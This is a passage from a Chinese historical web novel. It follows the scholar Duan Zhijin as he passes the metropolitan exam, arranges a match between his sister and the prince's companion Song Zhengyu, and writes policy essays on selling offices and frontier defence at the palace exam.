最后一题为“兴水利”,先强调治水即养民,然后详述了“筑堤束水,以水攻沙”和“分流减淤,开凿中河”两个治水之法,又提议设河道总督专责,严考成法。 答完这三道题,会试的题目便全部完成,此时天竟然黑了,照着烛火,还能听见笔尖摩擦纸张的声音。 终于到了子正时分,受卷官上前收卷,当那一厚摞卷子被拿走的时候,段之缙心中重重的石头终于放了下来,虽不知能不能得中,但最起码这一场会试熬了过去,也算积累了经验。 唯一出乎意料的事情是端王的丹药效力太猛,直到十七日回国子监上课时,段之缙都难以合眼睡一觉。 第63章 063说亲 慢慢入了三月,外边青草萌发,淡粉色的杏花含苞待放,杏榜也在礼部署东墙外发下,共取录三百一十七人,段之缙名列第一百九十五名。 虽说名次并不出彩,但历来人外有人天外有天,只要能得中就足够叫段家人欣喜的了,段之缙从簪花宴上归来,头一回体会到什么叫春风得意。 现在他的学习重点已经从四书五经转向实务策问,和率性堂通过会试的同窗一起学习钱粮水利,有时还要读些兵法。 按理说风平浪静,一切都欣欣向荣,但分离总是来得猝不及防,原本定于四月的廷试提前到了下榜后七日。 率性堂内已经坐监三年的监生们被批准参与廷试,诚心、修道二堂坐监满三年的荫生也要参加,施秉文和方叙墨不以科考入仕段之缙能够理解,但徐明宣会试的名次比自己还高,只差殿试临门一脚,却也要以廷试授官。 段之缙舍不得他走,也是为他考虑了日后的前途,荫生之路虽然畅通无阻,但是非翰林不内阁,而不入内阁的京官,说到底并没有实在的权利。 他劝道:“殿试就在明年二月,以科举入仕难道不比廷试强?且你的父亲又是勋贵,升官还难吗?” 徐明宣轻笑:“允升,谁不想金榜题名?可中了进士就得按名次授官,一甲三名去翰林院,剩下的人不是庶吉士就是外放做知县。我父亲是一品大员,超品的一等公,廷试授官我能直接做六部员外郎,即便外放也能从五品的官员做起。做进士……那前两年可有的熬了。” 段之缙却嗔他胡说:“你是功勋之后,若有进士出身更是锦上添花,我不信你熬不过授官的前两年!” 徐明宣哂笑,想想父亲说的事情,嗫喏半天张不开嘴。 今年提前廷试,原因无他,户部缺人了。 葛礼身死之后,端王暂领户部一点情面都不讲,上任第一天就开始查账,户部账本的事情一下子露出水面。王爷使出了掌管刑部的本事,查了一顿竟是从上到下,没一个真正清白的人。 葛礼已经身死,他的家中乱作一团,皇帝不忍心对着乳母一家发天威,对着户部其他的人却没个好脸色,原本是想要办成大案。 可是谁能料想,诸王的手太急太快,端王还在汇报户部事宜的时候,其余 儿子便向皇帝举荐“人才”入部,皇帝内心冷笑,高高举起的铡刀又轻轻放下。 最后闹了一顿,只是小惩大诫,除两个侍郎去了菜市口,最严重的也就是抄家革职,其余人赔补上所缺款项,暂留原职。 这个事情似乎就这么了结了。但是徐明宣却从廷试提前和上谕的只言片语中看出了些端倪。 皇帝不是不想办了,而是要一批一批地换人,而这就是徐明宣的机会。 徐家并非世家大族,其父徐自闻不过是军中一名小将,但阎王爷也怕不要命的,十四年前与西北番子的大战中徐父立得赫赫战功,朝廷十余年不用打仗,这才得封一等公。 可惜当今没有秦皇汉武那般斩草除根的雄心壮志,年头不好国库入不敷出,也就不敢再和番子纠缠。最后没了战事,徐自闻不是皇帝的亲信,也就不能驻守北地。可他也没有别的能耐,只能守着自己的爵位和一品太子太傅的闲职,如今的徐家已经是江河日下,一日不如一日了。 毕竟哪有臣子只顶着一个太子太傅的官职?也算是开国以来头一回了。 不过家里底蕴虽不如世家,却好歹是个超品公爵,徐自闻能从朝中打听到不少东西,也就方便了徐明宣这争气的儿子。 徐明宣清楚得很,现在户部大动荡,官职变动比以往更速,只要抓住了这个机会将户部的差事做得漂漂亮亮,未尝不能展露头角,现在还能借一借父亲的余荫。 殿试虽好,这样的机会却转瞬即逝。 段之缙看他踌躇的样子,大体猜到了是难以宣之于口的消息,善解人意地不再询问。只邀请上剩下其余三个人喝最后一顿酒,原先在国子监中搭伙“过日子”的五人便剩下了郑崑瑛和段之缙。 廷试过后,不出徐明宣所料,这批监生大都去了户部学习,等着一批一批地清算户部官员,然后当即顶上。 但是最出人意料的却是方叙墨,今年就要做宗人府仪宾了,不能叫灵寿郡主没面子,也是为了嘉奖端王没日没夜地处理户部事宜,给这个二十来岁的小孩授了从二品散秩大臣,有事儿领侍卫内大臣和内大臣顶着,他每日的差事就是在堂屋内安排侍卫。 眼瞅着大家都有了归宿,段之缙的家里的妹子段云霓今年十六岁了,可亲事还没定下,段之缙急也不急。 说急是怕年纪拖大了更不好说亲,说不急却是段之缙的私心了。 虽说和许多同窗玩得好,但这里的男人到底没被调教过,除了方叙墨基本都一个死样。徐明宣为人端方正直,做兄弟做朋友真没的说,但他也才知道,徐明宣家里妻妾闹成一团,闹得徐明宣不愿意回自己的院子,又在外边养着外室。 在段之缙看来,都是徐明宣守不住□□的缘故。 施秉文没那么严重,但妻妾一个不少,一个月放一天假国子监三年也没少生孩子。 之前秦先生倒是介绍了几个,很有些“男人”脾气,段之缙想着要把妹子送到这样的人家,只觉汗毛倒竖。 因而段之缙以为,若是找不到合适的人,那就养在家中,养一辈子也无妨,只是还要看她自己怎么想。 邹文多少猜到了他的意思,冷笑一声,骂他是在地上找天仙,别做白日梦了。 段之缙却不觉得羞恼,只要高高兴兴地过日子,一辈子不嫁人又怎么着?倘若要出嫁,便一定要慎之又慎,否则等着嫁过去了再后悔,连和离的机会都没有。 邹文又羞他是提早当上了爹。 但嘲笑归嘲笑,邹文还是把给妹妹说亲的事情当做正事,千挑万选,还真找到了一两个人物,邹文和王府的同僚们喝酒之时特意邀请上了段之缙,几位幕僚先生也在。 喝酒的地点在聚鲜阁,离端王府一条街远,段之缙有求于人,特意去邹家捎上了邹文,两个人同坐一辆马车。 邹文拉着段之缙的手,“这次叫你看两个人,一个是府内新来的伴读,一个是王府的侍卫。” 段之缙甩开他的手,“含章兄,你千挑万选了一顿就给我选了这?你都去户部做郎中了,就给我挑这样的妹夫?” 只能说一句时也命也,端王和皇帝汇报户部事宜之时,其他兄弟接连举荐大臣充任户部官员,唯有他默不作声,只顾着安慰愤懑的皇帝,倒叫皇帝侧目。 皇帝让他也举荐几人,端王却说自己只管办差,除了府中的属官和部中的属官,其他大臣的优劣一概不知,叫父皇乾纲独断,做儿子的只会领命,一番话说的皇帝身心舒畅。 纪禅只是想表表孝心,没想到搔到了皇帝的痒处,竟叫他举荐一名属官,无论是府内还是刑部。刑部一个萝卜一个坑,谁也走不了谁也插不进来,纪禅思索一顿,府内邹文最讨人喜欢能力也不啻于谁,于是便说了邹文。 邹文也争气,在叩见圣上的时候对答如流,皇帝更觉得端王是为国举贤,当即授任户部郎中,一下子就是五品官。 结果郎中大人给自己找了从九品的王府伴读和没品级的王府侍卫,你叫段之缙如何能有好脸色? 邹文嘿嘿笑着扯住他,“你看你,又急!伴读宋征舆虽是末流的小官,但是人长得可俊呢!你去看了就知道,保准妹妹喜欢。且虽是伴读,但依我之见,前途不会错的。你看我不也是九品的王府笔帖式一下升上了户部郎中?我走后人家是王爷的‘新欢’,你说好不好?” 那这伴读倒也说得过去,段之缙瞅瞅他,又问:“侍卫又是怎么回事?” “原本就是个普通侍卫,但前些日子端王考教侍卫的学识武艺,就他最好,兵书也说得头头是道,以后前途不可限量。” 等会儿,这怎么听着有些耳熟啊? “侍卫叫什么名字?” “唐馥,我跟你说……” “停停停!”段之缙连忙打断了他,“你只跟我说宋征舆吧,我们家不喜欢武人。” 段之缙叫邹文那名字吓得留冷汗,唐馥就跟那天上的烟花一样,一瞬间照亮了整个天空,然后迅速灭亡,被赐自尽,怎么能叫云霓嫁过去? 邹文惊讶地看了他一眼,“想不到啊,你们家还歧视武人?” 这倒真不是,段之缙打个哈哈,“我妹妹自幼读书,能和那舞棍弄枪的人说上什么话?以后过日子干瞪眼不成?再说了,他要是有出息做了大将军,要我妹子也跟着他东奔西跑吗?” “你想得也真够全面了,那就只看宋征舆。我可跟你说好,说亲的事情除了秦先生没人知道,连宋征舆自己也不知晓,唯恐坏了你妹子的名声。你等会儿也小心些,不要给我漏出来,别盯住了宋征舆光跟他说话!” 段之缙喜得狠狠抱了他一下,“怪不得做郎中,以后做尚书也使得!” 邹文又说:“这才哪到哪?今儿请你的事情除了秦先生没人知道,等会儿我就说你是叫你媳妇撵出来的。” 段之缙笑他诡计多端,用惧内的事情来观察一下宋征舆的神色,多少能看出点门道。 话说到这里,马车也停住,邹文带着段之缙下车,一边走一边告诉他屋内的座次:“升官破财,今天做东的人是我,所以正对着门是我的位置。右手边主客是秦先生,左手边是我们焦先生,几年前主持诗会的人。其余人你都不认识,待会儿跟你介绍。宋征舆就在我右手边第三个,你等会坐我左手边第三个,正好对着宋征舆。” 推开雅间的门,里边一张大桌,已经坐好了十个人,桌子上已经满满登登都是菜,只有正对门的那个位置空着一个椅子,做戏做全套,邹文先叫小二添一把椅子,这才扯着段之缙上前介绍:“这是秦先生的学生,今日被媳妇赶出来,没地儿吃饭,来这里蹭一口。” 众人哈哈大笑,焦长青指着秦先生道:“只教他怎么读书,没教他怎么御妻?” 秦先生把手插袖子里,无可奈何地耸耸肩,“我们师徒俩是一脉相承。” 大家更是乐不可支。段之缙清楚地看到宋征舆脸上含着友好的笑,倒不像有些人似的撇嘴。 邹文笑着给段之缙倒了一杯酒,“你先生我就不说了,你俩比我俩还熟呢,这位是府内的焦先生焦常青,几年前主持诗会的就是他。” 焦常青听出了些门道:“哦?这位也参加过鄙人主持的诗会?” 邹文提醒道:“你忘了?壶中日月园,‘苔花如米小,也学牡丹开’。” 焦常青恍然大悟,原来是那个士子,这首诗自己诵读了好几遍, 越读越有情怀,那今日这酒便不得不喝了,两人举杯一饮而尽。 等着“酒”下了肚子,段之缙瞥了鬼精灵的邹文一眼。原来,那酒竟不是酒,是凉水,只是杯沿处抹了酒液。 “这是府内的我的同僚……” 连着喝了好几杯,段之缙面色如常,大家都夸他酒量好,倒数第二人就是宋征舆,因为位卑排在后边。 “这是王爷的伴读宋征舆,今年才十八岁,你唤弟弟即可。好才华啊!等会儿交流交流。” 这时离得近了,段之缙才细细地看了一番宋征舆,衣着尚且朴素,整个人似春风化雨,眉眼却含坚毅,抿着薄唇,手举酒杯,脸上稚气未脱。 “惭愧惭愧,今日惹了母亲生气,为讨母亲高兴内子将愚兄赶出家门,身上一分钱没有这才贸然前来,扰了你们的酒席真是不应当。” 段之缙将过错归于自己,也省得这些人再说什么惧内的事情,好像蘋儿是个不讲理的人。 宋征舆却不以为意,宽慰道:“家父尚在时,也有惧内的名声,但弟却觉得家里十分和睦,想来是因爱生惧。” 段之缙听得十分欢喜,若有这样的“家学渊源”倒真是不错。只是他小小年纪已经有了举人功名,为何不接着往上考呢? 邹文不叫他深聊,带他见最后一个人——唐馥。 唐馥出身低微,但端王那样喜欢他果然有道理,一是人长得好,再则谈吐、举止都落落大方、彬彬有礼,一点都看不出是侍卫出身,且极会聊天,等着段之缙回想起这人不可深交时,已经和唐馥聊得热火朝天,心中只剩下说不尽的欣赏。 唉,卿本佳人,奈何为贼? 日后若是还有缘分能够深交,说不得要劝他一劝。 这一顿饭是宾主尽欢,段之缙也打听出了不少宋征舆的事情。 天纵英才,十五岁中举,但时运不济,刚刚中举其父就身故了,其母悲痛欲绝身体每况愈下,光吃名贵的药材就要将家底掏空,他只能到处找活计为母亲买药。 按理说他都有举人的功名了,如何能无钱呢?但孝期有孝期的规矩,正经的活计是不能做的。为了保护自己的名声好日后接着科考,宋征舆只能隐瞒,幸得焦常青看他小小年纪谈吐不一般,推荐给了纪禅。端王是大善人,给了一大笔银子,叫他安心守孝,孝期过后进王府做伴读,然后接着科考。 段之缙越看越觉得喜欢,但是自己喜欢没用,也要母亲同意,最重要的是段云霓喜欢。 第64章 064看对眼 上一回在聚仙阁见了宋征舆,段之缙倒是很满意,下午便和沈白蘋商量着先问问妹妹的意思,然后再和母亲、姨娘商量。 沈白蘋听了段之缙的描述,宋征舆是否是良配尚未能知,但也是替妹妹相看以来条件最好的男子了,虽说家中穷些,但是段家不差钱,宋征舆又和秦先生、邹大哥共事过,不看僧面看佛面,料想成亲后不会亏待了霓丫头。 段之缙托沈白蘋去和妹妹说一说宋征舆,若是她能接受,自己还能想法子叫妹妹见一见,瞧瞧相貌喜不喜欢。 沈白蘋高兴应了,去周姨娘院子里和霓丫头说话。 周姨娘正在给妹妹做衣裳,见沈白蘋来了连忙上去迎,沈白蘋对着庶母微伏了伏身子,笑道:“我今日新描了花样,来给妹妹看。”姨娘就叫丫头带着她去段云霓闺房。 段云霓正在读书,自从开了窍,她便日日离不开书,言说自己出不去门,也得在书中领略万千世界才行,今天嫂子来了,她就要跟人家讲游记里的风土人情,谁知沈白蘋却是为旁的事来的。 两个人牵着手,沈白蘋脸上笑嘻嘻的,凑在她的耳旁说:“你哥哥给你相看了男孩儿,他自己是满意了,特派我来问问你这样的人家行不行。” 男女相配,人伦大礼,段云霓虽有些羞,可也知道这是自己一辈子的事,催着嫂子快说。 “人家不是很富裕的人家,为了给他的母亲治病,整个家底都淘澄干净了,后来得端王赏识这才缓过来口气,现在母亲的病也痊愈了。我想着这不是什么大事,你的嫁妆比不得那些豪门贵女有什么前朝的瓷器,但金银珠宝定不会少,日后日子不会难过。” 段云霓又问:“那他自己怎么样呢?” “你哥说是难得的人才,十五岁中举,只是当初生父亡故这才……也是世事难料。” 可惜,想来宋家的家境原本很不错,要不然也难以供养一个儿子全心全意地读书,只是天不遂人愿,家里的男主人没了,这个家也就塌了。 段云霓听着也难受,但选婿不能图人家可怜去照顾人家,段云霓脸上红了红,凑到嫂子耳边问:“那他长得如何?” 沈白蘋脸也跟着红了腮。总是男人挑女孩儿长相的多,哪有女孩儿挑丈夫长相的?但说不得,爱美之心人皆有之,凭什么霓丫头就不能找一个俊俏的郎君。 “这你放心,你亲哥哥选的,定没有错!若是你想见见,你哥哥想方设法都要把你偷出去的。” 段云霓羞怯地点点头,还是见见好,若只看脸都觉得烦气,再过一辈子岂不是日日都要唉声叹气? 沈白蘋应下,回去和段之缙通风报信,段之缙知妹妹不嫌弃宋征舆的家境可算松下一口气,只等着哪天再安排一番,叫段云霓远远地看一眼。当然,这个事情还得靠秦先生或是邹文来做。 但计划赶不上变化,西北的赤砂人叩开了止步关,银泉城被洗劫一番后只剩下一片狼藉,边境战火又起。朝廷备战,户部为筹备粮草军饷忙成一团,明明只是暂领户部的端王也脱不开身,灵寿郡主出嫁那天都在户部衙门里。 只有那一日以王府为起点,一路蔓延至方家的十里锦绣和满城的百姓知道郡主出嫁的风采。 而国子监内的段之缙也已经焦头烂额,今年西北大战,若说明年的殿试会与此无关分明是痴人说梦,雍朝的出策问的要求就是“严合实务”,绝不出无病呻吟之题,因而这些日子痛补行军用兵之法,务求从粗处走到细处,事事明晰。 薛永旺大人是帮他过会试的,按理说会试已过,老大人也该回去歇着,但没人说这个事儿,老大人也乐得在国子监内教书,接着辅导他准备殿试。 殿试十几年前还在考时文,但如今只以策取士,格式有规定字数却无限制,从二三百字到千余字皆有,现在虽仍无限制,但书二三百字者往往名次靠后。 无他,二三百字讲不清道理也难以有真知灼见。 建朝初,承袭前朝旧制,殿试于会试放榜后一月举行,但太祖皇帝很快发现士子们多习四书五经,答老生常谈之钱粮刑名尚可,可于国家大政一概不知,有一年殿试题为“羡余”,意指当时地方官员乱收税赋用于地方之用,剩余银两解送上司,谁知不少士子将今之“羡余”当成唐之“羡余”,直接将太祖皇帝气得头昏。 笑话,唐之羡余上供给皇帝,上下一起盘剥,殿试如何敢出题暗指皇帝搜刮民脂民膏? 此事出后本朝的殿试便延后一年,叫士子们做好准备再来应试。有了这一年的准备,殿试题更爱以近些年的重大政务拟题,因而国子监上下对西北战事都极为关注。 薛永旺大人先前已经讲过了写策的格式要求,今日来讲出题和撰文。 “策题之发问,均与近年国家政事有关,或问治国之道、吏治政风,或 谈通商阜民、民生仓储,若有战事,则问武备筹边。太宗时用武边疆,元正四年殿试除时文之外,策题为‘筹饷’。现在不考时文,殿试便考策一道,分两小问。” 用武边疆便问“筹饷”,段之缙细思两者的关联,发问:“大人,是因为用兵而问筹饷,还是因为缺饷而问筹饷?” 这其中的差别可不小。若是朝廷只是将用兵当做一个出题的角度,那能出的题可海了去了,除了筹饷还有武备,不是武备还可以是战后安民。可若是因为缺饷而问筹饷,那便已经对题目进行了一番限缩。 薛大人眯眼一笑:“问到了点上!策问两项,一项是常考的吏治民生,如治水、惩贪一类,另一项是朝廷之忧。太宗用兵之际的确有军饷不足之患,但是殿试之时问题已然解决。今年若要出与用兵相关的题目,恐怕得等着战事稳定。” “且历年来的策题题文都不长,如‘求得真贤’、‘治天下’、‘养民力’,少者如‘安民’、‘吏治’等。但是不论长短,都绝非某事某方面,因而你只写二三百字纯属偷奸耍滑,若写四五百字则为一知半解,千字以上才能讲出真对策。现在以羡余为题,你写一篇策问出来。” 段之缙在纸上写下羡余二字,审视起来。 题目只给了这两个字,那么应当要自己来解释什么是羡余,然后说出羡余的问题并指出解决之法。 段之缙理理思路,提笔写道:“今州县征赋有常,而羡余之加无常。夫羡余者,正供之余而取于民者也……”说其启贪蠹之门,然后提出定章限额、裁汰冗费、厚养廉俸三法解决羡余的问题。 薛永旺大人接过他的文章,一目十行过了一遍,摇摇头笑道:“你这一篇看似头头是道,可在读卷官们看来却是夸夸其谈。” 段之缙不解其意,薛永旺接着道:“殿试的读卷官以内阁四位中堂为首,圣上再从吏、户、兵、刑、工五部、通政院、大理寺、都察院、詹事府中挑拣八名,十二位读卷官一起阅卷。他们都是实务里滚了十几年的老人了,政令能不能行通一眼便知。我问你,羡余为何会出现?” “自然是县俸薄而用繁,上司需索而无度,遂不得不取盈于百姓。” 薛大人颔首,“是了,但是你自己看看,你所说三法能解决这个问题吗?定章限额,那州县平日的开销如何补齐?裁汰冗费,哪一些钱是可以裁汰的?又说厚养廉俸,这便是一个大问题了,厚养就一定能廉洁吗?那为什么贪官贪了一屋子白银仍不罢手呢?” 薛大人接连发问,直将段之缙问得怔住,老大人端起茶碗吹一吹,啜一口清茶,又道:“你去审策问的题目,一定要从这个问题为什么会出现入手。譬如羡余,他们敢光明正大地加派杂税,正是因为官员手里没有那么多的俸禄养活一衙门的差役,又得孝敬上级。所以你就得让他能养活差役还不用孝敬上级。自然,朝廷出钱替官员养人是最好的,但目前不可能,你就连说也不用说。” 段之缙有了些许了悟,火耗其实也是羡余的一种,最有成效的方法就是火耗归公,其实就是将一部分不合法税变为合法税,这一部分税收留存当地无需上缴朝廷,以做官员办公之用。 而与火耗归公相互配合的是一系列惩贪措施和对官员的禁令,严禁上下级之间赠礼孝敬,又禁嫖、禁赌、禁戏,减少他们的娱乐活动,那钱自然就够用了。 段之缙又说了几法作为补充,薛大人赞他孺子可教,虽说还有些不足之处,但比刚才强得多。 …… 狠狠练了几个月的题目,他本来就是历史生出身,这些东西学得也快,等到七月份已经有模有样了。 加之七月里有七夕节,男男女女都能上街玩耍,段之缙本想请假,趁此时叫妹妹相看一番,但端王已经为钱粮的事情忙昏了头,属官们都要在府中办差,连宋征舆这个小小的伴读也要跟着王爷看户部文书,只能作罢。 可缘分到了如何能挡住?八月十五中秋节,吃完了团圆饭,段家人乘马车来郊外“摸秋”。这习俗原先是南方的,两年前沈白蘋还只能在家里摸,去年京城也流行了这个玩法,又添了一个新彩头,若是摸到葱就说明人聪明。 京郊村子的农户也极会做生意,将自家的菜地在这一日里包出去,一户贵人包一块儿,任你们摸,因而今日郊外挑着盏盏灯笼,热闹得不像是晚上。先叫沈白蘋去摸了瓜豆,又催着段之缙下去摸葱,之后也该回家去,但在家呆了许久的段云霓也要玩耍,讨些“聪明”来,王虞便依了她。 段云霓摸着黑走在田埂上,段之缙提着灯笼紧随其后,偷偷借给她一些光,却被妹妹嗔了一句:“远着些,有打着灯笼摸秋的吗?黑漆漆地摸着葱才叫‘聪明’呢!” 段之缙摸摸鼻子,只能提醒她仔细脚下,然后停在原地,眼瞧着妹妹往葱地里走。 这地也不大,有什么事儿一眼就望见了。 可走神也才一瞬,便看见葱地里弯腰拔葱的段云霓被突然断开的大葱闪得一个踉跄,惊慌地往后跌去,正巧和一个人隔着篱笆撞上。 “妹……”段之缙惊得要喊,又赶紧憋住,提着灯笼往那跑,却见那边是一个高挑的身影,似是男子。 “坏了!”他心里一吓,赶紧吹灭了灯笼,就怕自己带去的光把四周人的眼神吸引过去。 而那边段云霓隔着篱笆也吓得不轻。 方才察觉到是一个男子拉住自己,她惊慌失措下先甩了一个嘴巴,现在看着对面人惊恐的眉眼和漂亮的脸蛋,方要道歉又瞬间被哥哥的衣袖挡住,后退了一丈远。 对面的男子这才回过神,越看那身影越熟悉,看清是谁后惊讶道:“段大哥?” 段之缙听出是谁,疑道:“宋征舆?你怎么在此处?” 宋征舆退后半步作揖,半边脸和耳尖泛着薄红,但天黑着,这两人也离得远,一时没有看清。“家母叫弟来摸葱讨彩头。惊扰了这位小姐实在罪过。”他说着又看看段之缙身后脏了的衣角,从怀中掏出一方帕子刚要递过去,却被段之缙一口回绝:“不必了!” 语气似是太严厉,段之缙又和气道:“今天的事儿求宋弟守口如瓶,现在天也晚了,我们要回去了。”宋征舆怔怔应下,看着那衣裙匆匆离去,最后一点也看不见。 段之缙拉着段云霓往自家马车的方向走,忽然凑近她耳边:“方才那个,就是之前叫你嫂子跟你说的宋征舆。你瞧着怎么样?” 段云霓抱着怀里的葱,闷着头不说话,段之缙已经用火折子点起了灯笼,如何看不见妹妹的耳尖?还是故意使坏,“既然看不上他,哥哥就给你找旁的。这天下三条腿的蛤蟆难找,两条腿的男人遍地都是。” 段云霓只似是而非地夸他好看,惹得段之缙嘲笑。 既然段云霓不排斥,那就先跟王虞说一说,母亲自然先嫌弃了人家家境不好,可段之缙讲得头头是道,除了穷些也没有别的毛病,便想着亲眼见一见,这才能放心。 段之缙猜想宋征舆都从王府出来过中秋节了,端王的差事应该也没那么忙,便求邹文去传话,又深知邹文不是多嘴多舌之人,便把那日中秋节的巧合说了,叫他帮着问问,总不能自己家剃头担子一头热。 邹文何等聪明,立刻找到了理由,堵住宋征舆问:“上回儿那个段之缙你还记得不?” 宋征舆何止记得段之缙,连人家妹妹月亮下朦朦胧胧的脸也记得,暗 唾自己见色起意,怎么挨了人家一个大嘴巴子却心心念念,还是打得轻了。 “还记得呢,含章兄可是有什么吩咐?” 邹文一副着急上火的样子,“他明年殿试,托我去弄些讲钱粮的书来下个月国子监放假给他,但我十六日当值,晚上也得宿在衙门,你帮我去送?” 说到这邹文试探道:“他家还有个妹妹……”你要避着些。 话说一半,宋征舆脸都烧起来,邹文还有什么不明白?暗笑着又求了他一遍。 宋征舆脑子嗡嗡叫,也没想邹文为什么不叫家里的奴才送,忐忑地应了下来,虽说不可能见到那个女孩儿,可还是郑重地收拾了一番,不知是出于何种心理。 明日就是九月十六了,他特意跟王爷请假,纪禅还以为是什么大事特意询问了一番,宋征舆倒是实话实说,要替邹文给段之缙送书。 就送个书还得请一天假?中午头抽个空不就去了? 纪禅骂他们有病,又想着也许是小年轻想偷着出去玩却不好意思,就找了这么个蹩脚的由头,前些日子也跟着自己忙了挺长时间也就准假了。 宋征舆提了一篮子书上门,却叫王虞逮住好生盘问了一番,弄得晕头转向,又被留下吃了两顿饭,这才云里雾里地回去。孰不知王虞是老丈母娘看女婿,越看越满意。 第65章 065殿试 只要王虞这边松了口,婚事就算成了一半,段之缙想给邹文包一个大红包,却又找不见了邹文,去他家拜访,也只说他们家老爷住在户部,已经挺长日子没回来了。 段之缙推测,可能是西北战事有了变故。果不其然,尚未等到过年,朝廷便下旨将殿试推后到三月进行,刚过正月,又下旨推迟到四月,而就在三月初的时候,西北的战况终于公布,朝廷正在和赤砂人和谈。 而等待已久的殿试终于姗姗来迟。 殿试当日,东方刚跳出来一点微薄的光,銮仪卫就在太和殿前设好了卤簿大驾,内阁的四位中堂大人身着赤色朝服,手捧策题置于殿内东旁案上。 刘中堂刘玳廷揣揣袖子,回身跟毓秀说话,“老大人,你说今年这题出得如何?” 毓秀今年六十九岁,是四位中堂中年纪最大的一位,为了西北战事和殿试的事情已经熬了很长时间,现在低着头,似乎是睡着了。 刘玳廷等不到他的回话,刚要去和两位方大人回话,便听毓秀瓮声瓮气回道:“老夫说不出来,但是题太大了。” 前头的方克城、方克池两兄弟见他俩说悄悄话,联袂上前,问道:“刘中堂,你和老大人说什么呢?” “今年的题。” 两个大人对视一眼,方克城叹一口气,“陛下圣明烛照,只是这个题要写全,太为难了些。” 不同于往年内阁出的题,今年这题是皇帝钦命的。 …… 卯时的京城还浸在青色的晨雾里,午门外,段之缙的手指无意识摩挲着考篮上的竹编纹路。他望着远处飘飘悠悠的宫灯,忽听得礼炮三响,朱红色大门轰然洞开,里边走出一列列銮仪校尉,甲胄在明晃晃地射出冷光,他们接过考生们手中的考具,面无表情地对着午门。 午门处,礼部二位侍郎手持名单,分东西两列点名。 “李振!” 这是会元。 …… “段之缙!”侍郎浑厚的声音刺破人群,段之缙趋步上前接过考卷,云锦封套上钤着朱泥大印——崇德二十三年庚寅科殿试。 段之缙手捧卷纸站在昭代门前,等着清点完所有考生,鸿胪寺的官员领着西侧的贡士进昭代门,剩下的学生从贞度门入,进至丹墀两旁排立。 丹陛两侧的镀金龙首香炉吐出阵阵的青烟,他垂首盯着脚下金砖的卍字花纹,耳畔尽是窸窣的朝服摩擦声。而后三声鞭鸣,礼乐大震,崇德皇帝朝服升座。 太和殿内,毓秀将案上的策题交给跪受的礼部尚书闻清远,闻清远将其举过头顶恭恭敬敬地置于丹陛正中的黄案,又有堂官举案于殿前左阶降至丹墀。 “跪——” 礼仪官的声音如同钟鸣,穿过九重丹墀,文武百官同三百贡士寂然无声而跪,行三跪九叩之礼。 最后一次抬首时,段之缙的余光略过前方,只见九龙华盖转过太和殿蟠龙藻井,皇帝的仪仗又往乾清宫去了。与考试无涉的官员也跟随御驾离去,读卷、执事官们回到司房,只剩下几位亲王呆在太和殿内。 銮仪卫军校在丹墀东、西布置好桌案,礼部的堂官分发策题,段之缙先按规矩行三叩礼,这才坐到自己的位置,展开试题。 “崇德二十二年,赤砂蛮部恃险构乱,虽王师屡挫其锋,然帑藏虚竭,士卒疲敝日甚。尔诸生学贯经史,当明体达用。询以二事,一问捐纳,二问各方边疆何以剿贼安民。” 段之缙审视此题,惊讶地发现,此次殿试策问二小项,竟都与西北战事有关。照薛大人所说,该有一项是平常之问。 第一项为“捐纳”,看来此次西北战事吃紧,朝廷已经大开捐纳之途了。 段之缙想起薛大人教授自己的知识,从根本处思考捐纳出现的原因,国库空虚而国家急需用钱,朝廷便将官职爵位卖出去以求在短时间内充实国库。这种事儿贯穿了整个古代社会,一开始只是卖爵,后来汉武帝开疆之时为了筹集军费,连官职也往外卖,这才将卖官鬻爵合二为一。 此途一开,官场内势必鱼龙混杂,吏治腐败,但目前且没有办法禁止捐纳。原因无法,农业税占了国家税收的大头,而农业本就是靠老天吃饭,国库不稳定几乎是必然的,一旦出现天灾人祸,或是边疆出了战事,国库告急的情况下捐纳是来钱最快最不易激起民变的法子。 想通这一点,段之缙大体上知道了朝廷的意思,应当是想问如何在不废除捐纳的情况下解决吏治的问题,因而开篇写道:“臣闻《周官》有九赋敛财之法,《管子》倡轻重敛散之策,皆因时制宜之术也。今圣天子垂询捐纳利弊,臣谨稽典章、参时势,以权变济世为纲,析其本源,陈其损益,伏乞圣鉴。” 续之以捐纳三益:权益救国、异途抡才和疏导士心,然后笔锋一转,才开始讲捐纳使得朝廷名器暗投、清浊莫辨和铨法紊乱的害处,最后提出三条更化之策。 一为严限捐途,禁止捐知县以上的实职,虚衔止于五品。二为设“捐员试政法”,捐纳者需历刑名、钱谷、河工三科历练,方得实授。三则正异相济,行“科捐并叙”,科甲出身者捐银可优先升转,捐员政优者准考御史。 写到这里,段之缙又从头看一遍对策,似无可补充之处这才开始结尾,写道:“用捐员如器使,控捐例如驭马,则国库可充而不伤根本,异途得进而不坏纲常。臣草茅新进,罔识忌讳,干冒宸严,不胜战栗陨越之至。臣谨对。” 再看第二问“各方边疆何以剿贼安民”,也是方才看得不甚仔细,段之缙仔细看了这才发现此题不光问对付西北赤砂人的对策,还将雍朝四方不臣服的异族都问了个遍。 国家广大,内部倒是安稳,边境却多有战火,小打小闹和如去岁一般攻城杀掠的战事都有。 西北赤砂野心勃勃,恐怕是想要入主中原,是朝廷的心腹大患。 西南高地的穹迦族是墙头草,雍朝势盛之时和雍朝交好,赤砂力强便与赤砂勾勾搭搭。 还有南诏百族聚集之地,一部分土司心悦诚服,另一部分明面上臣服,但是逆反之心不死,和汉人之间的矛盾也不小,前几年甚至有土司杀死朝廷官员。 而这些才是殿试想要问的东西。 段之缙顿感棘手。 三类边患中,他最清楚赤砂族,此前也都思考过这个问题。于南诏百族聚集之地的了解却没那么深了,能想到的只有改土归流等法。对穹迦族所知更少,值得注意的一点就是他们崇信神祇迦楼。 方才第一篇策写得长,千余字,许多贡士第二篇策问都已经写了一半,快者都去了左庑阶下交卷,而段之缙仍在纠结第二问。此时太阳挂在天正中,晒得他后背冒汗。 端王同王叔和几个兄弟坐在上方,自瞄到段之缙后眼睛一直盯着他,看他思考了这么久还未动笔心下纳罕。 这题他也是才知道,两问都不好写,可不好写随便写写便是,拖到后边天黑了可不好。 而此时,段之缙终于决定从明清的抚边政策中寻求出路,管他能不能用的,先写上再说。 于是他以“剿抚并济,分疆定制”为纲,先将三种边患分析清楚,再因时、因地、因人而分施刚柔之术。 对赤砂异族,要施展刚猛剿灭之策。剿灭之法却不尽是武力摧折,而要分而化之。目前赤砂大汗的王子有三人,其长子应当继承汗位,另外两个儿子征战沙场立再大功劳也无出头之日,不如暗中扶持,使其内斗。同时要在经济上严格限制,“凡汉商往北地贸易,一切铁器、粮食或丝葛棉麻均不得出境,违者 以资敌罪流放琼州。” 